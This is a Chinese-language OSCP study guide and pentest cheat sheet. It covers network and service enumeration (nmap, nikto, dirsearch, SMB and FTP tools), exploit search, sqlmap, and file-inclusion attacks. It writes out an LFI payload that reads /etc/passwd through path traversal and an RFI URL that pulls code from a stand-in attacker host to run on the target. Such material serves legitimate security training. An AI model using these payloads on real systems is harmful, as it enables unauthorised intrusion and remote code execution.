导语:在本文中,我将向读者展示自己在完成OSCP各项测试时所采取的一般步骤。当然,阅读本文绝对无法替代阅读PWK手册并完成相应的练习,相反,本文旨在概括介绍主要的漏洞类型及相应的利用方法,以便在读者需要时,随时查阅相关的命令语法。

Nmap

首先,我们需要利用nmap扫描一下网络上有哪些机器正在运行: 

nmap -sn 10.0.0.0/24

以上命令将测试10.0.0.0/24子网中的所有计算机是否都处于活动状态(10.0.0.0-10.0.0.255)。您可能需要根据自己的实验网络进行相应的修改。

通常情况下,一旦选定了主机,我要做的第一件事情就是: 

nmap -A -oA nmap $targetip

这会扫描1024个最常见的端口,检测操作系统,然后运行默认的nmap脚本,并将结果以多种格式保存在当前目录中。

下面,让我们进行更进一步的扫描: 

nmap -v -p- -sT $targetip

该命令将利用全连接扫描方式来扫描$targetip机器上的所有65535个端口。当然,这个过程可能需要很长时间。其中,-v代表输出详细的信息,因此,当发现新端口时,它将立即打印出来,而不必等到扫描结束,毕竟通过互联网扫描这么多的端口确实非常耗时。我通常会让它扫描一整宿,或者在扫描期间,转而使用另一台机器。

检测正在运行的服务

从最初的nmap扫描结果中,可以获得与机器相关的大量信息——哪些端口是开放的,以及正在运行哪些服务。 

HTTP(S)

如果服务器运行的是HTTP或HTTPS,接下来自然就是通过Web浏览器进行相应的检测。能够发现什么有趣的东西吗?它是一个可能含有安全漏洞的Web应用程序吗?它是一个可以显示版本信息的默认的Web服务器页面吗?

利用Nikto进行检测

Nikto是一款非常出色的Web服务器扫描器。 

nikto -host $targetip -port $targetport

利用dirsearch来暴破HTTP(s)目录和文件

实际上,用于暴力破解的工具有很多,比如dirb、dirbuster和gobuster,并且它们各有所长,都值得深入学习,不过我最喜欢的还是dirsearch。你可以从https://github.com/maurosoria/dirsearch下载该软件。我们可以先从下面的简单命令开始,它定义了一个wordlist文件、URL和文件扩展名。  

./dirsearch.py -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u $targetip -e php

实际上,dirsearch可以做的事情还有很多,因此,建议读者继续阅读其README文件。 

SMB

Nmap脚本

Kali自身提供了一些非常棒的nmap脚本,可帮助我们进一步探测SMB。我们可以通过下面的命令来显示这些脚本。 

locate *.nse | grep smb

这些脚本的用法也非常简单: 

nmap -p 139,445 --script=$scriptname $targetip

请注意,脚本参数也可以使用通配符,例如,要想尝试所有nmap SMB漏洞测试脚本的话,可以使用如下所示的命令: 

nmap -p 139,445 --script=smb-vuln* $targetip

Enum4Linux

enum4linux是一款通过探索SMB获取有用信息的绝佳工具——有时可以访问共享资源!这个工具提供了很多选项,所以,如果您记不住这些选项的话,不妨使用一个表示"做所有事"的-a选项,比如: 

enum4linux -a $targetip

smbclient

这个工具可以通过SMB连接电脑,用法与命令行FTP客户端别无二致。这个工具之所以重要,是因为有时甚至在没有凭证的情况下就可以直接登陆系统并浏览其中的文件,所以它值得一试! 

smbclient \\\\$ip\\$share

FTP匿名访问 

有许多nmap脚本都可以帮助枚举FTP,但在此之前,需要首先检测匿名访问是否可用。 

ftp $targetip
Username: anonymous
Password: anything

当然,这种方法只是有时候能得手,而在大多数时候,它并不会奏效。即便奏效,有时只能读取文件但无法写入文件,有时则会具有完整的读写权限。

SSH

除少数例外情况外,在SSH上面寻找漏洞可不容易。除非系统运行的是一个特殊的SSH版本,或者一个特别旧的版本,否则我通常不会在它上面费力气。请注意,如果系统安装了SSH,并且我们已经在系统的其他地方找到了登陆凭据的话,请通过SSH来访问系统!

其他服务

手动抓取信息

您可以使用netcat连接到服务,并查看它提供给的相关信息。 

nc $targetip $port

寻找漏洞利用代码

Searchsploit能够帮助我们来搜索exploit-db数据库中的所有漏洞利用代码。例如,更新数据库的命令如下所示:

searchsploit -u

下面的命令可以用来搜索特定服务、内核或操作系统上的漏洞利用代码。

searchsploit $ multiple $ search $ terms

谷歌

谷歌是一个非常棒的信息来源,我们可以利用服务名称、版本和单词“exploit”的进行条件搜索,例如: 

proftpd 1.3.5 exploit

Metasploit

Metasploit是一个功能完善的软件包,这里不作过多的介绍,如果您想在metasploit中搜索某些漏洞利用代码的话,只需从msfconsole运行search $ searchterm命令即可。请注意,因为在考试中使用metasploit会有很多限制,所以不要太依赖它。当你使用这个工具包时,请注意实际使用的是哪个metasploit模块,并确保你了解它是如何工作的。有时候,甚至可能需要将其移植到一个独立的漏洞利用代码中! 

Webapps 

Webapps是一个常用的入口点。因为它本身存在许多不同类型的漏洞,并且通过练习,我们就能更好地找到它们。

首先,这是一款流行的Web应用程序,还是一个自定义的程序?为此,可以尝试搜索名称、查看源代码、查找版本号和登录屏幕。如果它是一个流行的Web应用程序——您可以使用searchsploit或谷歌来寻找该软件已经被曝光的漏洞。 

Burp Suite

Burp Suite是测试webapps的利器,不仅功能强大,同时又简单易用。毫不夸张的说,在众多的渗透测试工具,它才是我的最爱。如果您正在创建RCE有效载荷或SQL注入,那么不妨将HTTP请求发送到中继器并在Burp中编辑有效载荷,因为这比使用浏览器编辑这些内容要快捷得多。值得学习更先进的Burp功能,无论对于OSCP考试,还是对于将来的安全工作,我都强烈建议读者进一步深入学习Burp的高级功能! 

SQL注入 

如果开发人员功力不够和/或太过于懒惰的话,webapp中的文本字段有时可能被用于传递(未经处理的)SQL查询。如果出现这种情况,我们就可以使用该漏洞绕过登录表单,转储数据库(凭证)甚至对文件执行写操作。关于SQL注入方法的全面概述,需要专门一篇文章才能说清楚,就目前来说,您可以参阅OWASP相关指南并使用SQLMap工具。需要重点指出的是,这个工具不允许在考试中使用,但是,我们在平时的实验中却没有这个限制。

在学习SQLMap时,借助-r开关可以帮助我们节省大量的时间。当然,我们也可以使用像Burp这样的代理来捕获含有漏洞的请求,并将其保存到文本文件中,然后使用SQLMap进行扫描,为此,只需运行下列命令: 

sqlmap -r file.req

我花了很长时间才找到这个功能,所以,请不要像我一样。别忘了,利用命令行编写请求的各种细节可不是一件轻松的事情。

文件包含漏洞

有时,我们可以在Web应用程序的代码中包含指定的文件。如果我们可以设法将自己的代码注入到该文件中的话,就意味着我们可以执行相应的命令了。实际上,存在两种类型的文件包含漏洞,分别是本地文件包含(LFI)和远程文件包含(RFI)。

当可以包含远程文件(可能是您的本地计算机上托管的文件)时,就会出现所谓的RFI漏洞。通常情况下,RFI漏洞会更易于利用,因为可以直接在本地机器上托管一些代码,然后将RFI指向该代码就可以执行它了。

当可以在目标机器上包含一个文件时,就会出现所谓的LFI漏洞,利用这些漏洞,就可以轻松地读取本地文件(如/etc/passwd),但是如果你可以以某种方式将你自己的代码注入到系统的某个地方,相当于利用LFI漏洞实现了远程代码执行。

假设我们有一个页面参数容易受到以下URL中的文件包含漏洞的影响: 

http://target.com/?page=home

对于Linux机器来说,要想测试LFI漏洞,可以导航到下列位置: 

http://target.com/?page=./../../../../../../../../../etc/passwd%00

如果该系统含有这种漏洞的话,就能在页面上看到目标系统上/etc/passwd文件的内容了。

对于细心的读者来说,也许已经注意到URL的末尾的%00了。它通常称为空字节,作用是终止字符串。不过,这种技术不适用于较新版本的PHP,但我发现对于实验中的许多LFI/RFI漏洞来说,它确实是非常好用的。下面给出相关的漏洞代码: 

include($page . '.php');

相反,如果尾部不加上空字节的话,实际上会请求/etc/passwd.php,但是它并不存在。正是由于空字节终止了字符串,才使得我们的攻击有可能成功。

有时LFI漏洞同时也是RFI漏洞——为了测试这个应用程序是否含有RFI漏洞,我们可以在http://hackerip/evil.txt中包含自己的代码,然后访问下列URL: 

http://target.com/?page=http://hackerip/evil.txt%00

如果成功,evil.txt中包含的代码就会在我们的目标机器上执行。 

小结
在本文中,我将向读者展示了一些主要漏洞的类型及相应的利用方法,由于篇幅较长,所以分为上下两篇,更多精彩内容,将在下一篇中为读者献上。

源链接

Hacking more

...